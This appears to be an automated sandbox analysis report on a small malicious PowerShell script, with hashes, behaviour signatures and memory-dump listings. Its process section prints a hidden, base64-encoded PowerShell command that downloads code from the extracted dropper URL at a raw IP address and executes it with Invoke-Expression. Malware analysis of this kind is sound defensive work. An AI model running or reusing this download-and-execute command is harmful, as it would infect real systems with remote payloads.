Analysis
- max time kernel
148s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 09:11
General
- Target jaffacakes118_4db483643c115bdb066dad4d5df5a63ec77de7632ff6a0e16f19a0f04fa77efb.ps1
- Size 515B
- Sample260910-k5vjta1clb
- SHA256 4db483643c115bdb066dad4d5df5a63ec77de7632ff6a0e16f19a0f04fa77efb
Malware Config
Extracted
-
ps1
-
exe.dropper
http://77.90.60.32/x.GRE
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\jaffacakes118_4db483643c115bdb066dad4d5df5a63ec77de7632ff6a0e16f19a0f04fa77efb.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand JAB1ACAAPQAgACcAaAB0AHQAcAA6AC8ALwA3ADcALgA5ADAALgA2ADAALgAzADIALwB4AC4ARwBSAEUAJwANAAoAJABoACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAKAAnAE0AUwAnACsAJwBYAE0ATAAyAC4AWAAnACsAJwBNAEwASABUAFQAUAAnACkAOwANAAoAJABoAC4ATwBwAGUAbgAoACcARwBFAFQAJwAsACAAJAB1ACwAIAAkAGYAYQBsAHMAZQApADsADQAKACQAaAAuAFMAZQBuAGQAKAApADsADQAKAGkAZgAgACgAJABoAC4AUwB0AGEAdAB1AHMAIAAtAGUAcQAgADIAMAAwACkAIAB7AA0ACgAgACAAIAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAaAAuAFIAZQBzAHAAbwBuAHMAZQBUAGUAeAB0AA0ACgB9ACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ARQByAHIAbwByACAAKAAnAD8APwA/AD8APwA/ADoAIAAnACAAKwAgACQAaAAuAFMAdABhAHQAdQBzACkADQAKAH0A2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/124-29-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-28-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-36-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-35-0x00000164A57F0000-0x00000164A591F000-memory.dmp
memory/124-20-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-33-0x00000164A57F0000-0x00000164A591F000-memory.dmp
memory/124-30-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-19-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-31-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-18-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-27-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-17-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-26-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-32-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-25-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/124-24-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-6-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-2-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-13-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-14-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-0-0x00007FFF84B0F000-0x00007FFF84B10000-memory.dmp
memory/5904-1-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-12-0x000001E5988A0000-0x000001E5989CF000-memory.dmp
memory/5904-10-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-9-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-8-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-7-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/5904-5-0x000001E5FFB40000-0x000001E5FFB62000-memory.dmp